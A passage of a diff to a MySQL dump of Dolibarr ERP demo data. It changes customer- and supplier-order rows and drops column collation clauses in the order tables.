20:50:23',NULL,NULL,'2021-12-20',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(96,'2022-02-07 13:37:54',10,6,'(PROV96)',1,NULL,NULL,NULL,'2020-01-07 23:39:09',NULL,NULL,'2022-01-07',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'aaa','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,NULL,NULL,NULL),(97,'2022-02-07 13:37:54',10,6,'(PROV97)',1,NULL,NULL,NULL,'2020-01-07 23:43:06',NULL,NULL,'2022-01-07',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'aaa','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,NULL,NULL,NULL),(98,'2022-02-07 13:37:54',1,NULL,'(PROV98)',1,NULL,NULL,NULL,'2020-01-19 14:22:34',NULL,NULL,'2022-01-19',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.45000000,0.45000000,3.00000000,3.90000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,3.00000000,0.00000000,3.90000000,NULL,NULL,NULL),(99,'2022-02-07 13:37:54',1,NULL,'(PROV99)',1,NULL,NULL,NULL,'2020-01-19 14:24:27',NULL,NULL,'2022-01-19',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.24000000,0.00000000,0.00000000,4.00000000,4.24000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,4.00000000,0.24000000,4.24000000,NULL,NULL,NULL); +INSERT INTO `llx_commande` VALUES (1,'2022-12-11 21:23:22',1,NULL,'CO1107-0002',1,NULL,NULL,'','2013-07-20 15:23:12','2022-08-08 13:59:09',NULL,'2022-07-20',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,1,NULL,1,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,'2022-12-11 21:23:22',1,NULL,'CO1107-0003',1,NULL,NULL,'','2013-07-20 23:20:12','2022-02-12 17:06:51',NULL,'2022-07-21',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,'2022-12-11 21:23:22',1,NULL,'CO1107-0004',1,NULL,NULL,'','2013-07-20 23:22:53','2022-02-17 18:27:56',NULL,'2022-07-21',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,30.00000000,30.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(5,'2022-12-11 21:23:22',1,NULL,'CO1108-0001',1,NULL,NULL,'','2013-08-08 03:04:11','2022-08-08 03:04:21',NULL,'2022-08-08',1,NULL,1,NULL,NULL,2,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(6,'2022-07-04 01:11:35',19,NULL,'(PROV6)',1,NULL,NULL,'','2015-02-17 16:22:14',NULL,NULL,'2022-02-17',1,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'','','einstein',0,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,'commande/(PROV6)/(PROV6).pdf',NULL,NULL),(17,'2022-07-04 01:11:35',4,NULL,'CO7001-0005',1,NULL,NULL,NULL,'2017-02-15 23:50:34','2021-02-15 23:50:34',NULL,'2022-05-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,509.00000000,509.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,509.00000000,0.00000000,509.00000000,NULL,NULL,NULL),(18,'2022-02-07 13:37:54',7,4,'CO7001-0006',1,NULL,NULL,NULL,'2017-02-15 23:51:23','2021-02-15 23:51:23',NULL,'2022-02-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,900.00000000,900.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,900.00000000,0.00000000,900.00000000,NULL,NULL,NULL),(20,'2022-07-04 01:11:35',4,NULL,'CO7001-0007',1,NULL,NULL,NULL,'2017-02-15 23:55:52','2021-02-15 23:55:52',NULL,'2022-04-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,330.00000000,330.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,330.00000000,0.00000000,330.00000000,NULL,NULL,NULL),(29,'2022-07-04 01:11:35',4,NULL,'CO7001-0008',1,NULL,NULL,NULL,'2017-02-16 00:03:44','2022-02-16 00:03:44',NULL,'2022-02-12',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,457.00000000,457.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,457.00000000,0.00000000,457.00000000,NULL,NULL,NULL),(34,'2022-02-07 13:37:54',11,NULL,'CO7001-0009',1,NULL,NULL,NULL,'2017-02-16 00:05:01','2021-02-16 00:05:01',NULL,'2022-01-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,124.00000000,124.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,124.00000000,0.00000000,124.00000000,NULL,NULL,NULL),(38,'2022-02-07 13:37:54',3,NULL,'CO7001-0010',1,NULL,NULL,NULL,'2017-02-16 00:05:01','2021-02-16 00:05:01',NULL,'2022-02-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,200.00000000,200.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(40,'2022-02-07 13:37:54',11,NULL,'CO7001-0011',1,NULL,NULL,NULL,'2017-02-16 00:05:10','2021-02-16 00:05:11',NULL,'2022-01-23',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,1210.00000000,1210.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1210.00000000,0.00000000,1210.00000000,NULL,NULL,NULL),(43,'2022-07-04 01:11:35',10,NULL,'CO7001-0012',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2022-02-16 00:05:11',NULL,'2022-02-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,478.00000000,478.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,478.00000000,0.00000000,478.00000000,NULL,NULL,NULL),(47,'2022-12-11 21:23:22',1,NULL,'CO7001-0013',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2022-02-16 00:05:11',NULL,'2022-11-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,55.00000000,55.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,55.00000000,0.00000000,55.00000000,NULL,NULL,NULL),(48,'2022-12-11 21:23:22',4,NULL,'CO7001-0014',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2022-02-16 00:05:11',NULL,'2022-07-30',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,540.00000000,540.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,540.00000000,0.00000000,540.00000000,NULL,NULL,NULL),(50,'2022-02-07 13:37:54',1,NULL,'CO7001-0015',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2022-02-16 00:05:26',NULL,'2021-12-12',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,118.00000000,118.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,118.00000000,0.00000000,118.00000000,NULL,NULL,NULL),(54,'2022-07-04 01:11:35',12,NULL,'CO7001-0016',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2021-02-16 00:05:26','2021-02-16 03:05:56','2022-06-03',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,220.00000000,220.00000000,'','','',1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,220.00000000,0.00000000,220.00000000,NULL,NULL,NULL),(58,'2022-12-11 21:23:22',1,NULL,'CO7001-0017',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2022-02-16 00:05:26',NULL,'2022-07-23',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,436.00000000,436.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,436.00000000,0.00000000,436.00000000,NULL,NULL,NULL),(62,'2022-07-04 01:11:35',19,NULL,'CO7001-0018',1,NULL,NULL,NULL,'2017-02-16 00:05:35','2021-02-16 00:05:35','2021-12-20 20:48:55','2022-02-23',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,410.00000000,410.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,410.00000000,0.00000000,410.00000000,NULL,NULL,NULL),(68,'2022-07-04 01:11:35',3,NULL,'CO7001-0019',1,NULL,NULL,NULL,'2017-02-16 00:05:35','2021-02-16 00:05:35',NULL,'2022-05-19',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,45.00000000,45.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,45.00000000,0.00000000,45.00000000,NULL,NULL,NULL),(72,'2022-12-11 21:23:22',6,NULL,'CO7001-0020',1,NULL,NULL,NULL,'2017-02-16 00:05:36','2022-02-16 00:05:36','2022-01-16 02:42:56','2022-11-13',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,610.00000000,610.00000000,'','','',1,NULL,NULL,NULL,NULL,NULL,NULL,2,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,610.00000000,0.00000000,610.00000000,NULL,NULL,NULL),(75,'2022-07-04 01:11:35',4,NULL,'CO7001-0021',1,NULL,NULL,NULL,'2017-02-16 00:05:37','2021-02-16 04:14:20',NULL,'2022-02-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,25.00000000,49.88000000,0.00000000,0.00000000,1200.00000000,1274.88000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1200.00000000,25.00000000,1274.88000000,NULL,NULL,NULL),(78,'2022-12-11 21:23:22',12,NULL,'CO7001-0022',1,NULL,NULL,NULL,'2017-02-16 00:05:37','2022-02-16 00:05:37',NULL,'2022-10-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,928.00000000,928.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,928.00000000,0.00000000,928.00000000,NULL,NULL,NULL),(81,'2022-07-04 01:11:35',11,NULL,'CO7001-0023',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2022-02-16 00:05:38',NULL,'2022-07-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,725.00000000,725.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,725.00000000,0.00000000,725.00000000,NULL,NULL,NULL),(83,'2022-07-04 01:11:35',26,NULL,'CO7001-0024',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-02-16 00:05:38',NULL,'2022-04-03',12,NULL,12,NULL,1,-1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,105.00000000,105.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,105.00000000,0.00000000,105.00000000,NULL,NULL,NULL),(84,'2023-02-05 22:58:45',2,NULL,'CO7001-0025',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2022-02-16 00:05:38',NULL,'2022-06-19',12,12,12,NULL,1,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,510.00000000,510.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,510.00000000,0.00000000,510.00000000,'commande/CO7001-0025/CO7001-0025.pdf',NULL,NULL),(85,'2022-02-07 13:37:54',1,NULL,'CO7001-0026',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-02-16 00:05:38',NULL,'2022-01-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,47.00000000,47.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,47.00000000,0.00000000,47.00000000,NULL,NULL,NULL),(88,'2022-02-07 13:37:54',10,NULL,'CO7001-0027',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-12-20 20:42:42',NULL,'2021-12-23',12,12,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,'This is a private note','This is a public note','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,'commande/CO7001-0027/CO7001-0027.pdf',NULL,NULL),(90,'2022-07-04 01:11:35',19,NULL,'(PROV90)',1,NULL,NULL,NULL,'2017-02-16 04:46:31',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,440.00000000,440.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,440.00000000,0.00000000,440.00000000,NULL,NULL,NULL),(91,'2022-07-04 01:11:35',1,NULL,'(PROV91)',1,NULL,NULL,NULL,'2017-02-16 04:46:37',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(92,'2022-07-04 01:11:35',3,NULL,'(PROV92)',1,NULL,NULL,NULL,'2017-02-16 04:47:25',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,1018.00000000,1018.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1018.00000000,0.00000000,1018.00000000,NULL,NULL,NULL),(93,'2022-12-11 21:23:22',10,NULL,'(PROV93)',1,NULL,NULL,NULL,'2019-09-27 19:32:53',NULL,NULL,'2022-09-27',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'commande/(PROV93)/(PROV93).pdf',NULL,NULL),(94,'2022-02-07 13:37:54',1,NULL,'(PROV94)',1,NULL,NULL,NULL,'2019-12-20 20:49:54',NULL,NULL,'2021-12-20',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(95,'2022-02-07 13:37:54',1,NULL,'(PROV95)',1,NULL,NULL,NULL,'2019-12-20 20:50:23',NULL,NULL,'2021-12-20',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(96,'2022-02-07 13:37:54',10,6,'(PROV96)',1,NULL,NULL,NULL,'2020-01-07 23:39:09',NULL,NULL,'2022-01-07',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'aaa','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,NULL,NULL,NULL),(97,'2022-02-07 13:37:54',10,6,'(PROV97)',1,NULL,NULL,NULL,'2020-01-07 23:43:06',NULL,NULL,'2022-01-07',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'aaa','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,NULL,NULL,NULL),(98,'2023-03-01 22:37:34',1,NULL,'CO2201-0028',1,NULL,NULL,NULL,'2020-01-19 14:22:34','2023-03-01 19:37:33',NULL,'2022-01-19',12,12,12,NULL,NULL,1,NULL,0,NULL,0,0.00000000,0.45000000,0.45000000,0.00000000,3.00000000,3.90000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,3.00000000,0.00000000,3.90000000,'commande/CO2201-0028/CO2201-0028.pdf',NULL,NULL),(99,'2022-02-07 13:37:54',1,NULL,'(PROV99)',1,NULL,NULL,NULL,'2020-01-19 14:24:27',NULL,NULL,'2022-01-19',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.24000000,0.00000000,0.00000000,0.00000000,4.00000000,4.24000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,4.00000000,0.24000000,4.24000000,NULL,NULL,NULL),(100,'2023-03-11 18:54:38',1,NULL,'(PROV100)',1,NULL,NULL,NULL,'2023-03-11 15:54:11',NULL,NULL,'2023-03-11',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,1.80000000,0.90000000,0.90000000,0.00000000,20.00000000,23.60000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',1,'EUR',1.00000000,20.00000000,1.80000000,23.60000000,'commande/(PROV100)/(PROV100).pdf',NULL,NULL); /*!40000 ALTER TABLE `llx_commande` ENABLE KEYS */; UNLOCK TABLES; @@ -4532,11 +3749,12 @@ CREATE TABLE `llx_commande_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `custom1` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `custom1` varchar(10) DEFAULT NULL, + `aaa` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_commande_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -4545,6 +3763,7 @@ CREATE TABLE `llx_commande_extrafields` ( LOCK TABLES `llx_commande_extrafields` WRITE; /*!40000 ALTER TABLE `llx_commande_extrafields` DISABLE KEYS */; +INSERT INTO `llx_commande_extrafields` VALUES (1,'2023-03-11 18:54:11',100,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_commande_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -4559,10 +3778,10 @@ CREATE TABLE `llx_commande_fournisseur` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_soc` int(11) NOT NULL, - `ref` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_supplier` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_supplier` varchar(255) DEFAULT NULL, `fk_projet` int(11) DEFAULT 0, `date_creation` datetime DEFAULT NULL, `date_valid` datetime DEFAULT NULL, @@ -4585,25 +3804,25 @@ CREATE TABLE `llx_commande_fournisseur` ( `localtax2` double(24,8) DEFAULT 0.00000000, `total_ht` double(24,8) DEFAULT 0.00000000, `total_ttc` double(24,8) DEFAULT 0.00000000, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `fk_input_method` int(11) DEFAULT 0, `fk_cond_reglement` int(11) DEFAULT 0, `fk_mode_reglement` int(11) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `date_livraison` datetime DEFAULT NULL, `fk_account` int(11) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_commande_fournisseur_ref` (`ref`,`fk_soc`,`entity`), KEY `idx_commande_fournisseur_fk_soc` (`fk_soc`), @@ -4618,7 +3837,7 @@ CREATE TABLE `llx_commande_fournisseur` ( LOCK TABLES `llx_commande_fournisseur` WRITE; /*!40000 ALTER TABLE `llx_commande_fournisseur` DISABLE KEYS */; -INSERT INTO `llx_commande_fournisseur` VALUES (1,'2022-02-07 13:37:54',13,'CF1007-0001',1,NULL,NULL,NULL,'2021-07-11 17:13:40','2022-02-01 18:51:42','2022-02-01 18:52:04',NULL,'2022-02-01',1,NULL,12,12,NULL,0,5,0,0.00000000,0,0,39.20000000,0.00000000,0.00000000,200.00000000,239.20000000,NULL,NULL,'muscadet',2,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(2,'2021-07-11 17:49:28',1,'CF1007-0002',1,NULL,NULL,NULL,'2021-07-11 18:46:28','2021-07-11 18:47:33',NULL,NULL,'2021-07-11',1,NULL,1,NULL,NULL,0,4,0,0.00000000,0,0,0.00000000,0.00000000,0.00000000,200.00000000,200.00000000,NULL,NULL,'muscadet',4,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(3,'2020-01-20 11:22:53',17,'(PROV3)',1,NULL,NULL,NULL,'2013-08-04 23:00:52',NULL,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,0,0.00000000,0,0,0.00000000,0.00000000,0.00000000,1079.17000000,1079.17000000,NULL,NULL,'muscadet',0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'USD',1.20000000,1295.00000000,0.00000000,1295.00000000,NULL),(4,'2020-01-20 11:19:49',17,'(PROV4)',1,NULL,NULL,NULL,'2013-08-04 23:19:32',NULL,NULL,NULL,NULL,1,12,NULL,NULL,NULL,0,0,0,0.00000000,0,0,11.88000000,0.00000000,0.00000000,174.17000000,186.05000000,'Private note','Public note','muscadet',0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'EUR',1.00000000,174.17000000,11.88000000,186.05000000,NULL),(13,'2022-07-04 01:11:35',1,'CF1303-0004',1,NULL,NULL,NULL,'2022-03-09 19:39:18','2022-03-09 19:39:27','2022-03-09 19:39:32',NULL,'2022-03-09',1,NULL,1,1,NULL,0,2,0,0.00000000,0,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,NULL,NULL,'muscadet',1,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(14,'2020-01-20 11:20:11',1,'(PROV14)',1,NULL,'',NULL,'2020-01-20 12:20:11',NULL,NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,0,NULL,0,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'','','muscadet',0,1,NULL,NULL,NULL,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL); +INSERT INTO `llx_commande_fournisseur` VALUES (1,'2022-02-07 13:37:54',13,'CF1007-0001',1,NULL,NULL,NULL,'2021-07-11 17:13:40','2022-02-01 18:51:42','2022-02-01 18:52:04',NULL,'2022-02-01',1,NULL,12,12,NULL,0,5,0,0.00000000,0,0,39.20000000,0.00000000,0.00000000,200.00000000,239.20000000,NULL,NULL,'muscadet',2,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(2,'2022-12-11 